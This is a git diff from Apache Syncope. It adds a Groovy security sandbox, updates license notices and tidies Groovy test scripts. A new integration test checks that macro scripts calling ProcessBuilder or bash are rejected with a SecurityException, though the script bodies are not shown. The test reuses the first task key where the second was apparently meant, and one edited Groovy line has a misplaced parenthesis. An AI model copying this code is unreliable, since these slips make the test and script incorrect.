+432,12 @@ This is licensed under the EPL 1.0, see above. == -For Eclipse Metro (https://projects.eclipse.org/projects/ee4j.metro): +For UnboundID LDAP SDK for Java (https://github.com/pingidentity/ldapsdk): +This is licensed under the AL 2.0, see above. + +== + +For Jakarta Activation (https://eclipse-ee4j.github.io/jaf/): This is licensed under the EDL 1.0: Eclipse Distribution License - v 1.0 @@ -465,11 +465,6 @@ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWIS THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -== - -For Jakarta Activation (https://eclipse-ee4j.github.io/jaf/): -This is licensed under the EDL 1.0, see above. - == For Eclipse Implementation of JAXB (https://projects.eclipse.org/projects/ee4j.jaxb-impl): @@ -883,7 +878,7 @@ of liability. == -For Legion of the Bouncy Castle (http://www.bouncycastle.org/java.html): +For Groovy Security Sandbox (https://github.com/Tirasa/groovy-security-sandbox): This is licensed under the MIT license: Permission is hereby granted, free of charge, to any person obtaining @@ -942,6 +937,11 @@ This is licensed under the AL 2.0, see above. == +For groovy-sandbox (https://github.com/craftercms/groovy-sandbox): +This is licensed under the MIT license, see above. + +== + For ASM (http://asm.ow2.org/): This is licensed under the BSD license, see above. diff --git a/fit/build-tools/NOTICE b/fit/build-tools/NOTICE index 3aa0b184af0..177493f1066 100644 --- a/fit/build-tools/NOTICE +++ b/fit/build-tools/NOTICE @@ -1,5 +1,5 @@ Apache Syncope -Copyright 2012-2023 The Apache Software Foundation +Copyright 2012-2025 The Apache Software Foundation This product includes software developed by: The Apache Software Foundation (http://www.apache.org/). @@ -13,11 +13,6 @@ This product includes software developed by the Jackson project. == -This product includes software developed by the Caffeine project. -Copyright (c) 2021 Ben Manes. All Rights Reserved. - -== - This product includes software developed by the GreenMail project. Copyright (c) 2006 - 2019, Wael Chatila and GreenMail project contributors @@ -28,8 +23,8 @@ Copyright (c) 1997, 2021 Oracle and/or its affiliates. All rights reserved. == -This product includes software produced and maintained by Eclipse Metro -All content is the property of the respective authors or their employers. +This product includes software developed by UnboundID LDAP SDK for Java +Copyright 2007-2022 Ping Identity Corporation == @@ -70,8 +65,9 @@ Copyright 2011-2016 Tirasa S.r.l. All rights reserved. == -This product includes software developed by the Legion of the Bouncy Castle. -Copyright (c) 2000-2016 The Legion of the Bouncy Castle Inc. (http://www.bouncycastle.org) +This product includes software developed by Groovy Security Sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors +Copyright (c) 2025 Tirasa == @@ -83,6 +79,11 @@ This product includes software developed by the Woodstox Project. == +This product includes software developed by groovy-sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors + +== + This product includes software developed by the ASM project. Copyright (c) 2000-2011 INRIA, France Telecom All rights reserved. diff --git a/fit/build-tools/pom.xml b/fit/build-tools/pom.xml index 8441479a5cc..c7bcd875cd2 100644 --- a/fit/build-tools/pom.xml +++ b/fit/build-tools/pom.xml @@ -171,6 +171,11 @@ under the License. groovy-sql + + net.tirasa + groovy-security-sandbox + + com.icegreen greenmail diff --git a/fit/core-reference/pom.xml b/fit/core-reference/pom.xml index 183b23396c0..3be1153fd7d 100644 --- a/fit/core-reference/pom.xml +++ b/fit/core-reference/pom.xml @@ -417,6 +417,12 @@ under the License. errorMessages.properties + + ${basedir}/../../core/spring/src/test/resources + + *.groovy + + diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java index d692c320d42..b04427a3409 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java @@ -25,8 +25,10 @@ import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.fail; +import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.Locale; +import java.util.UUID; import java.util.concurrent.TimeUnit; import javax.ws.rs.core.Response; import org.apache.commons.io.IOUtils; @@ -74,6 +76,27 @@ public class MacroTaskITCase extends AbstractITCase { TCA.setPrinterName("aprinter112"); } + private static void createMacroActionsIfNeeded(final String key, final ImplementationEngine engine, + final String body) { + ImplementationTO macroActions = null; + try { + macroActions = IMPLEMENTATION_SERVICE.read(IdRepoImplementationType.MACRO_ACTIONS, key); + } catch (SyncopeClientException e) { + if (e.getType().getResponseStatus() == Response.Status.NOT_FOUND) { + macroActions = new ImplementationTO(); + macroActions.setKey(key); + macroActions.setEngine(engine); + macroActions.setType(IdRepoImplementationType.MACRO_ACTIONS); + macroActions.setBody(body); + Response response = IMPLEMENTATION_SERVICE.create(macroActions); + macroActions = IMPLEMENTATION_SERVICE.read( + macroActions.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); + assertNotNull(macroActions.getKey()); + } + } + assertNotNull(macroActions); + } + @BeforeAll public static void testCommandsSetup() throws Exception { CommandITCase.testCommandSetup(); @@ -98,24 +121,10 @@ public static void testCommandsSetup() throws Exception { } assertNotNull(transformer); - ImplementationTO macroActions = null; - try { - macroActions = IMPLEMENTATION_SERVICE.read(IdRepoImplementationType.MACRO_ACTIONS, - TestMacroActions.class.getSimpleName()); - } catch (SyncopeClientException e) { - if (e.getType().getResponseStatus() == Response.Status.NOT_FOUND) { - macroActions = new ImplementationTO(); - macroActions.setKey(TestMacroActions.class.getSimpleName()); - macroActions.setEngine(ImplementationEngine.JAVA); - macroActions.setType(IdRepoImplementationType.MACRO_ACTIONS); - macroActions.setBody(TestMacroActions.class.getName()); - Response response = IMPLEMENTATION_SERVICE.create(macroActions); - macroActions = IMPLEMENTATION_SERVICE.read( - macroActions.getType(), response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - assertNotNull(macroActions.getKey()); - } - } - assertNotNull(macroActions); + createMacroActionsIfNeeded( + TestMacroActions.class.getSimpleName(), + ImplementationEngine.JAVA, + TestMacroActions.class.getName()); if (MACRO_TASK_KEY == null) { MACRO_TASK_KEY = TASK_SERVICE.search( @@ -174,8 +183,8 @@ public void execute() { parent.setValue("/odd"); int preExecs = TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().size(); - ExecTO execution = TASK_SERVICE.execute(new ExecSpecs.Builder().key(MACRO_TASK_KEY).build(), form); - assertNotNull(execution.getExecutor()); + ExecTO exec = TASK_SERVICE.execute(new ExecSpecs.Builder().key(MACRO_TASK_KEY).build(), form); + assertNotNull(exec.getExecutor()); await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { try { @@ -185,7 +194,7 @@ public void execute() { } }); - ExecTO exec = TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().get(preExecs); + exec = TASK_SERVICE.read(TaskType.MACRO, MACRO_TASK_KEY, true).getExecutions().get(preExecs); assertEquals(ExecStatus.SUCCESS.name(), exec.getStatus()); AnyObjectTO printer = ANY_OBJECT_SERVICE.read(PRINTER, TCA.getPrinterName()); @@ -264,4 +273,61 @@ public void cantExecute() { assertEquals(ClientExceptionType.DelegatedAdministration, e.getType()); } } + + @Test + public void groovySecuritySandbox() throws IOException { + createMacroActionsIfNeeded( + "ProcessBuilderMacroActions", + ImplementationEngine.GROOVY, + IOUtils.toString( + getClass().getResourceAsStream("/ProcessBuilderMacroActions.groovy"), StandardCharsets.UTF_8)); + + MacroTaskTO task = new MacroTaskTO(); + task.setName("groovySecuritySandbox" + UUID.randomUUID().toString()); + task.setActive(true); + task.setRealm("/odd"); + task.setMacroActions("ProcessBuilderMacroActions"); + + Response response = TASK_SERVICE.create(TaskType.MACRO, task); + String firstTaskKey = response.getHeaderString(RESTHeaders.RESOURCE_KEY); + assertNotNull(firstTaskKey); + TASK_SERVICE.execute(new ExecSpecs.Builder().key(firstTaskKey).build()); + + ExecTO exec = await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { + try { + return TASK_SERVICE.read(TaskType.MACRO, firstTaskKey, true).getExecutions().get(0); + } catch (Exception e) { + return null; + } + }, e -> e != null && !"JOB_FIRED".equals(e.getStatus())); + assertEquals(ExecStatus.FAILURE.name(), exec.getStatus()); + assertTrue(exec.getMessage().startsWith("java.lang.SecurityException: Insecure call to")); + + createMacroActionsIfNeeded( + "BashMacroActions", + ImplementationEngine.GROOVY, + IOUtils.toString( + getClass().getResourceAsStream("/BashMacroActions.groovy"), StandardCharsets.UTF_8)); + + task = new MacroTaskTO(); + task.setName("groovySecuritySandbox" + UUID.randomUUID().toString()); + task.setActive(true); + task.setRealm("/odd"); + task.setMacroActions("BashMacroActions"); + + response = TASK_SERVICE.create(TaskType.MACRO, task); + String secondTaskKey = response.getHeaderString(RESTHeaders.RESOURCE_KEY); + assertNotNull(secondTaskKey); + TASK_SERVICE.execute(new ExecSpecs.Builder().key(firstTaskKey).build()); + + exec = await().atMost(MAX_WAIT_SECONDS, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { + try { + return TASK_SERVICE.read(TaskType.MACRO, firstTaskKey, true).getExecutions().get(0); + } catch (Exception e) { + return null; + } + }, e -> e != null && !"JOB_FIRED".equals(e.getStatus())); + assertEquals(ExecStatus.FAILURE.name(), exec.getStatus()); + assertTrue(exec.getMessage().startsWith("java.lang.SecurityException: Insecure call to")); + } } diff --git a/fit/core-reference/src/test/resources/AddResourcePullActions.groovy b/fit/core-reference/src/test/resources/AddResourcePullActions.groovy index 483a5e8c801..56901ab8908 100644 --- a/fit/core-reference/src/test/resources/AddResourcePullActions.groovy +++ b/fit/core-reference/src/test/resources/AddResourcePullActions.groovy @@ -16,8 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic - import org.apache.syncope.core.provisioning.api.pushpull.PullActions import org.apache.syncope.common.lib.request.AnyUR; import org.apache.syncope.common.lib.to.EntityTO; @@ -34,14 +32,13 @@ import org.apache.syncope.common.lib.request.AttrPatch; /** * Class for integration tests: add new resource and put a password only for it. */ -@CompileStatic class AddResourcePullActions implements PullActions { void beforeUpdate( - final ProvisioningProfile profile, - final SyncDelta delta, - final EntityTO entity, - final AnyUR anyUR) throws JobExecutionException { + final ProvisioningProfile profile, + final SyncDelta delta, + final EntityTO entity, + final AnyUR anyUR) throws JobExecutionException { if (anyUR instanceof UserUR) { UserUR userUR = (UserUR) anyUR; @@ -66,4 +63,4 @@ class AddResourcePullActions implements PullActions { userUR.getResources().add(resPatchItem); } } -} \ No newline at end of file +} diff --git a/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy b/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy index 08fd8fe04fe..0132813c1b6 100644 --- a/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy +++ b/fit/core-reference/src/test/resources/CustomAuditLogicActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.time.OffsetDateTime import org.apache.syncope.common.lib.request.AnyUR import org.apache.syncope.common.lib.types.AuditElements @@ -25,7 +24,6 @@ import org.apache.syncope.core.provisioning.api.AuditManager import org.apache.syncope.core.spring.security.AuthContextUtils import org.springframework.beans.factory.annotation.Autowired -@CompileStatic class CustomAuditLogicActions implements LogicActions { @Autowired diff --git a/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy b/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy index 2a56c678863..01cc95264d5 100644 --- a/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy +++ b/fit/core-reference/src/test/resources/DoubleValueLogicActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.Attr import org.apache.syncope.common.lib.request.AnyCR import org.apache.syncope.common.lib.request.AnyUR @@ -26,7 +25,6 @@ import org.apache.syncope.core.logic.api.LogicActions /** * Class for integration tests: transform (by making it double) any attribute value for defined schema. */ -@CompileStatic class DoubleValueLogicActions implements LogicActions { private static final String NAME = "makeItDouble"; @@ -70,4 +68,4 @@ class DoubleValueLogicActions implements LogicActions { return input; } -} \ No newline at end of file +} diff --git a/fit/core-reference/src/test/resources/GroovyCommand.groovy b/fit/core-reference/src/test/resources/GroovyCommand.groovy index 7dcfd5b025c..48d492a2719 100644 --- a/fit/core-reference/src/test/resources/GroovyCommand.groovy +++ b/fit/core-reference/src/test/resources/GroovyCommand.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ - import org.apache.syncope.common.lib.command.CommandArgs import org.apache.syncope.core.logic.SyncopeLogic import org.apache.syncope.core.provisioning.api.macro.Command diff --git a/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy b/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy index ca2b2da4bf6..c194ae67e55 100644 --- a/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy +++ b/fit/core-reference/src/test/resources/PrefixItemTransformer.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.ArrayList; import java.util.List; import org.apache.commons.lang3.StringUtils; @@ -28,7 +27,6 @@ import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.PlainAttrValue import org.apache.syncope.core.provisioning.api.data.ItemTransformer; -@CompileStatic class PrefixItemTransformer implements ItemTransformer { public static String PREFIX = "PREFIX_"; diff --git a/fit/core-reference/src/test/resources/TestPullRule.groovy b/fit/core-reference/src/test/resources/TestPullRule.groovy index 55f6593f40b..e12dee67807 100644 --- a/fit/core-reference/src/test/resources/TestPullRule.groovy +++ b/fit/core-reference/src/test/resources/TestPullRule.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.persistence.api.dao.search.AttrCond import org.apache.syncope.core.persistence.api.dao.search.SearchCond @@ -26,7 +25,6 @@ import org.identityconnectors.framework.common.objects.SyncDelta /** * Test pull rule relying on {@code email} attribute value. */ -@CompileStatic class TestPullRule implements PullCorrelationRule { @Override diff --git a/fit/core-reference/src/test/resources/TestPushRule.groovy b/fit/core-reference/src/test/resources/TestPushRule.groovy index 2a6e4902cc4..ab327196c73 100644 --- a/fit/core-reference/src/test/resources/TestPushRule.groovy +++ b/fit/core-reference/src/test/resources/TestPushRule.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.ExternalResource @@ -28,7 +27,6 @@ import org.identityconnectors.framework.common.objects.filter.FilterBuilder /** * Test push rule relying on {@code email} attribute value. */ -@CompileStatic class TestPushRule implements PushCorrelationRule { @Override diff --git a/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy b/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy index 99a6412ba8c..85e1bdf6492 100644 --- a/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy +++ b/fit/core-reference/src/test/resources/TestReconFilterBuilder.groovy @@ -21,9 +21,7 @@ import org.identityconnectors.framework.common.objects.ObjectClass import org.identityconnectors.framework.common.objects.filter.Filter import org.identityconnectors.framework.common.objects.filter.FilterBuilder import org.apache.syncope.core.provisioning.api.pushpull.ReconFilterBuilder -import groovy.transform.CompileStatic -@CompileStatic class TestReconFilterBuilder implements ReconFilterBuilder { private static final Filter EQUALS = FilterBuilder.equalTo(AttributeBuilder.build("SURNAME", "Rossi")); diff --git a/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy b/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy index bba9ec46498..2e96d0587e9 100644 --- a/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy +++ b/fit/core-reference/src/test/resources/scriptedsql/SearchScript.groovy @@ -16,8 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.sql.Sql; -import groovy.sql.DataSet; +import groovy.sql.Sql // Parameters: // The connector sends the following: @@ -48,11 +47,11 @@ import groovy.sql.DataSet; // !!!! Each Map must contain a '__UID__' and '__NAME__' attribute. // This is required to build a ConnectorObject. -log.info("Entering " + action + " Script"); +log.info("Entering " + action + " Script") -def sql = new Sql(connection); +def sql = new Sql(connection) def result = [] -def where = ""; +def where = "" if (query != null) { // Need to handle the __UID__ in queries @@ -61,7 +60,7 @@ if (query != null) { } // We can use Groovy template engine to generate our custom SQL queries - def engine = new groovy.text.SimpleTemplateEngine(); + def engine = new groovy.text.SimpleTemplateEngine() def whereTemplates = [ CONTAINS:' WHERE $left ${not ? "NOT " : ""}LIKE "%$right%"', @@ -74,21 +73,22 @@ if (query != null) { LESSTHANOREQUAL:' WHERE $left ${not ? ">" : "<="} "$right"' ] - def wt = whereTemplates.get(query.get("operation")); - def binding = [left:query.get("left"),right:query.get("right"),not:query.get("not")]; - def template = engine.createTemplate(wt).make(binding); - where = template.toString(); + def wt = whereTemplates.get(query.get("operation")) + def binding = [left:query.get("left"),right:query.get("right"),not:query.get("not")] + def template = engine.createTemplate(wt).make(binding) + where = template.toString() log.ok("Search WHERE clause is: "+ where) } -switch ( objectClass ) { +switch (objectClass) { case "__PRINTER__": - sql.eachRow("SELECT * FROM TESTPRINTER " + where + ((where?.trim ()) ? "AND" : "WHERE") + " deleted <> TRUE", - {result.add([__UID__:it.id, __NAME__:it.id, ID:it.id, PRINTERNAME:it.printername, LOCATION:it.location])} ); + sql.eachRow("SELECT * FROM TESTPRINTER " + where + ((where?.trim()) ? "AND" : "WHERE") + " deleted <> TRUE") { row -> + result.add([__UID__:row["id"], __NAME__:row["id"], ID:row["id"], PRINTERNAME:row["printername"], LOCATION:row["location"]]) + } break default: - result; + result } -return result; +return result diff --git a/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy b/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy index 712dda92657..2674d64f9c6 100644 --- a/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy +++ b/fit/core-reference/src/test/resources/scriptedsql/SyncScript.groovy @@ -16,8 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.sql.Sql; -import groovy.sql.DataSet; +import groovy.sql.Sql // Parameters: // The connector sends the following: @@ -46,54 +45,52 @@ import groovy.sql.DataSet; // "attributes":Map of attributes name/values // ] -log.info("Entering " + action + " Script"); -def sql = new Sql(connection); +log.info("Entering " + action + " Script") +def sql = new Sql(connection) if (action.equalsIgnoreCase("GET_LATEST_SYNC_TOKEN")) { switch (objectClass) { case "__PRINTER__": - row = sql.firstRow("SELECT lastmodification FROM TESTPRINTER ORDER BY lastmodification DESC"); + row = sql.firstRow("SELECT lastmodification FROM TESTPRINTER ORDER BY lastmodification DESC") log.ok("Get Latest Sync Token script: last token is: " + row["lastmodification"]) - break; + break default: - row = null; + row = null } - return row == null ? null : row["lastmodification"].getTime(); + return row == null ? null : row["lastmodification"].getTime() } else if (action.equalsIgnoreCase("SYNC")) { - def result = []; - def lastmodification = null; + def result = [] + def lastmodification = null if (token != null) { - lastmodification = new Date(token); + lastmodification = new Date(token) } else { - lastmodification = new Date(0); + lastmodification = new Date(0) } switch (objectClass) { case "__PRINTER__": - sql.eachRow("SELECT * FROM TESTPRINTER WHERE lastmodification > ${lastmodification}", - { - result.add([ - operation:it.deleted ? "DELETE": "CREATE_OR_UPDATE", - uid:it.id.toString(), - token:it.lastmodification.getTime(), - attributes:[ - __UID__:it.id.toString(), - __NAME__:it.id.toString(), - ID:it.id.toString(), - PRINTERNAME:it.printername, - LOCATION:it.location - ] - ]); - } - ) - break; + sql.eachRow("SELECT * FROM TESTPRINTER WHERE lastmodification > ${lastmodification}") { row -> + result.add([ + operation:row["deleted"] ? "DELETE": "CREATE_OR_UPDATE", + uid:row["id"].toString(), + token:row["lastmodification"].getTime(), + attributes:[ + __UID__:row["id"].toString(), + __NAME__:row["id"].toString(), + ID:row["id"].toString(), + PRINTERNAME:row["printername"], + LOCATION:row["location"] + ] + ]) + } + break } - log.ok("Sync script: found " + result.size() + " events to sync"); - return result; + log.ok("Sync script: found " + result.size() + " events to sync") + return result } else { - log.error("Sync script: action '" + action + "' is not implemented in this script"); - return null; + log.error("Sync script: action '" + action + "' is not implemented in this script") + return null } diff --git a/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy b/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy index 1de9d9f8d01..54553503b4b 100644 --- a/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy +++ b/fit/core-reference/src/test/resources/scriptedsql/TestScript.groovy @@ -16,8 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.sql.Sql; -import groovy.sql.DataSet; +import groovy.sql.Sql // Parameters: // The connector sends the following: @@ -25,7 +24,7 @@ import groovy.sql.DataSet; // action: a string describing the action ("TEST" here) // log: a handler to the Log facility -log.info("Entering " + action + " Script"); -def sql = new Sql(connection); +log.info("Entering " + action + " Script") +def sql = new Sql(connection) -sql.eachRow("select * from TESTPRINTER", { println it.id} ); \ No newline at end of file +sql.eachRow("select * from TESTPRINTER"), { row -> println row["id"] } diff --git a/pom.xml b/pom.xml index b372dc7633d..1934b152347 100644 --- a/pom.xml +++ b/pom.xml @@ -395,10 +395,10 @@ under the License. 2025-08-08T07:58:59Z ${project.version} - 1.5.2.1 + 1.5.3.0-SNAPSHOT 1.4.5 - 1.0.8 - 2.3.0 + 1.0.9-SNAPSHOT + 2.3.1-SNAPSHOT 0.8.9 1.5.10 1.4.0 @@ -1048,10 +1048,22 @@ under the License. ${groovy.version} + + net.tirasa + groovy-security-sandbox + 1.0.0-SNAPSHOT + + com.icegreen greenmail 1.6.15 + + + junit + junit + + diff --git a/sra/LICENSE b/sra/LICENSE index ef620df85c3..9ca7e40951d 100644 --- a/sra/LICENSE +++ b/sra/LICENSE @@ -953,11 +953,6 @@ This is licensed under the AL 2.0, see above. == -For Joda Time (http://www.joda.org/joda-time/): -This is licensed under the AL 2.0, see above. - -== - For json-smart-v2 (https://github.com/netplex/json-smart-v2): This is licensed under the AL 2.0, see above. diff --git a/src/main/asciidoc/reference-guide/concepts/implementations.adoc b/src/main/asciidoc/reference-guide/concepts/implementations.adoc index 2107b73b118..d74ed98c1d0 100644 --- a/src/main/asciidoc/reference-guide/concepts/implementations.adoc +++ b/src/main/asciidoc/reference-guide/concepts/implementations.adoc @@ -33,6 +33,15 @@ Customizing and extending the Core behavior by uploading a Groovy class via REST platform, allows to speed up the development cycle and can be used as Swiss army knife for maintenance and administration. -Please beware that granting the permission to manage Implementations to non-admin users can result in security threat, -as there is virtually no limitation in what the Groovy code has access to. +Please beware that granting the permission to manage Implementations to non-admin users shall be performed with great +care. The Groovy code is anyway going to be executed in a sandbox, where the set of forbidden classes and methods +can be configured on each deployment. + +Check the provided +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/ilgrosso/syncope/blob/syncope-{docVersion}/core/spring/src/main/resources/META-INF/groovy.blacklist[groovy.blacklist^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/ilgrosso/syncope/blob/4_0_X/core/spring/src/main/resources/META-INF/groovy.blacklist[groovy.blacklist^] +endif::[] +. ==== diff --git a/standalone/LICENSE b/standalone/LICENSE index 533da21befd..6c1eba6cfc1 100644 --- a/standalone/LICENSE +++ b/standalone/LICENSE @@ -237,6 +237,16 @@ This is licensed under the MIT license, see above. == +For balanced-match (https://github.com/juliangruber/balanced-match): +This is licensed under the MIT license, see above. + +== + +For base64-js (https://github.com/beatgammit/base64-js): +This is licensed under the MIT license, see above. + +== + For Bootbox.js (http://bootboxjs.com/): This is licensed under the MIT license, see above. @@ -257,6 +267,11 @@ This is licensed under the AL 2.0, see above. == +For Chart.js (http://www.chartjs.org/): +This is licensed under the AL 2.0, see above. + +== + For CodeMirror (http://codemirror.net/): This is licensed under the MIT license, see above. @@ -776,12 +791,12 @@ This is licensed under the AL 2.0, see above. == -For mchange-commons-java (https://github.com/swaldman/mchange-commons-java): -This is licensed under the EPL 1.0, see above. +For Microsoft OAuth 2.0 User Agent library for Java (https://github.com/Microsoft/oauth2-useragent): +This is licensed under the MIT license, see above. == -For Microsoft OAuth 2.0 User Agent library for Java (https://github.com/Microsoft/oauth2-useragent): +For Microsoft Azure Active Directory Authentication Library (ADAL) for Java (https://github.com/AzureAD/azure-activedirectory-library-for-java): This is licensed under the MIT license, see above. == @@ -806,6 +821,11 @@ This is licensed under the AL 2.0, see above. == +For Okta Java Management SDK (https://github.com/okta/okta-sdk-java): +This is licensed under the AL 2.0, see above. + +== + For Moshi (https://square.github.io/moshi/1.x): This is licensed under the AL 2.0, see above. @@ -1217,37 +1237,12 @@ of liability. == -For Eclipse Metro (https://projects.eclipse.org/projects/ee4j.metro): -This is licensed under the EDL 1.0: - -Eclipse Distribution License - v 1.0 - -Copyright (c) 2007, Eclipse Foundation, Inc. and its licensors. - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the -following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this list of conditions and the following - disclaimer. -* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following - disclaimer in the documentation and/or other materials provided with the distribution. -* Neither the name of the Eclipse Foundation, Inc. nor the names of its contributors may be used to endorse or promote - products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, -INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, -WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF -THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - +For QDox (https://github.com/paul-hammant/qdox): +This is licensed under the AL 2.0, see above. == -For QDox (https://github.com/paul-hammant/qdox): +For UnboundID LDAP SDK for Java (https://github.com/pingidentity/ldapsdk): This is licensed under the AL 2.0, see above. == @@ -1282,6 +1277,11 @@ This is Public Domain. == +For css-vars-ponyfill (https://github.com/jhildenbiddle/css-vars-ponyfill): +This is licensed under the MIT license, see above. + +== + For DataTables (https://datatables.net/): This is licensed under the MIT license, see above. @@ -1293,7 +1293,32 @@ This is licensed under the AL 2.0, see above. == For Jakarta Activation (https://eclipse-ee4j.github.io/jaf/): -This is licensed under the EDL 1.0, see above. +This is licensed under the EDL 1.0: + +Eclipse Distribution License - v 1.0 + +Copyright (c) 2007, Eclipse Foundation, Inc. and its licensors. + +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the +following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this list of conditions and the following + disclaimer. +* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided with the distribution. +* Neither the name of the Eclipse Foundation, Inc. nor the names of its contributors may be used to endorse or promote + products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + == @@ -1317,6 +1342,11 @@ This is licensed under the MIT license, see above. == +For get-css-data (https://github.com/jhildenbiddle/get-css-data): +This is licensed under the MIT license, see above. + +== + For google-diff-match-patch (https://code.google.com/archive/p/google-diff-match-patch/): This is licensed under the AL 2.0, see above. @@ -1332,6 +1362,11 @@ This is licensed under the BSD license, see above. == +For Inputmask (https://github.com/RobinHerbots/Inputmask): +This is licensed under the MIT license, see above. + +== + For Metrics (http://dropwizard.github.io/metrics/): This is licensed under the AL 2.0, see above. @@ -1342,6 +1377,11 @@ This is licensed under the MIT license, see above. == +For jsonwebtoken.io (https://jsonwebtoken.io): +This is licensed under the AL 2.0, see above. + +== + For Micrometer Application Metrics (https://micrometer.io/): This is licensed under the AL 2.0, see above. @@ -1392,6 +1432,11 @@ This is licensed under the CDDL 1.0, see above. == +For JSR107 (JCache) (https://github.com/jsr107/jsr107spec): +This 